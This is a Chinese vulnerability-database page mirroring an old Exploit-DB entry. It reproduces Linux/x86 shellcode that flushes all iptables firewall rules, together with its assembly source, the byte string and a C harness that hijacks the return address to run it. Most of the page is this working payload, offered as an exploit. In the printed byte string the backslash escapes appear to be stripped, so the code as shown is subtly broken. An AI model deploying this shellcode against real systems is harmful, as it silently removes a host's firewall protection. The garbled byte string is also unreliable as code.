Linux/x86 – Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes)

Linux/x86 – Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes)

漏洞ID 1054658 漏洞类型
发布时间 2004-09-26 更新时间 2004-09-26
图片[1]-Linux/x86 – Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes)-安全小百科CVE编号 N/A
图片[2]-Linux/x86 – Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes)-安全小百科CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13434
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* The shellcode flushs the iptables  by running /sbin/iptables -F
   no exit()
   greetz to zilion: man, my code is shorter!

   size = 58 bytes 
   OS	= Linux i386
 		written by /rootteam/dev0id (www.sysworld.net)
 

BITS	32

jmp	short	callme
main:
	pop	esi
	xor	eax,eax
	mov byte [esi+14],al
	mov byte [esi+17],al
	mov long [esi+18],esi
	lea	 ebx,[esi+15]
	mov long [esi+22],ebx
	mov long [esi+26],eax
	mov 	al,0x0b
	mov	ebx,esi
	lea	ecx,[esi+18]
	lea	edx,[esi+26]
	int	0x80
	

callme:
	call	main
	db '/sbin/iptables#-F#'
*/


char shellcode[] =
	"xebx21x5ex31xc0x88x46x0ex88x46x11x89x76x12x8d"
	"x5ex0fx89x5ex16x89x46x1axb0x0bx89xf3x8dx4ex12"
	"x8dx56x1axcdx80xe8xdaxffxffxffx2fx73x62x69x6e"
	"x2fx69x70x74x61x62x6cx65x73x23x2dx46x23";

	
int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

// milw0rm.com [2004-09-26]

相关推荐: AIX autofs命令执行漏洞

AIX autofs命令执行漏洞 漏洞ID 1202948 漏洞类型 其他 发布时间 2003-03-31 更新时间 2003-03-31 CVE编号 CVE-2002-1548 CNNVD-ID CNNVD-200303-095 漏洞平台 N/A CVSS评…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享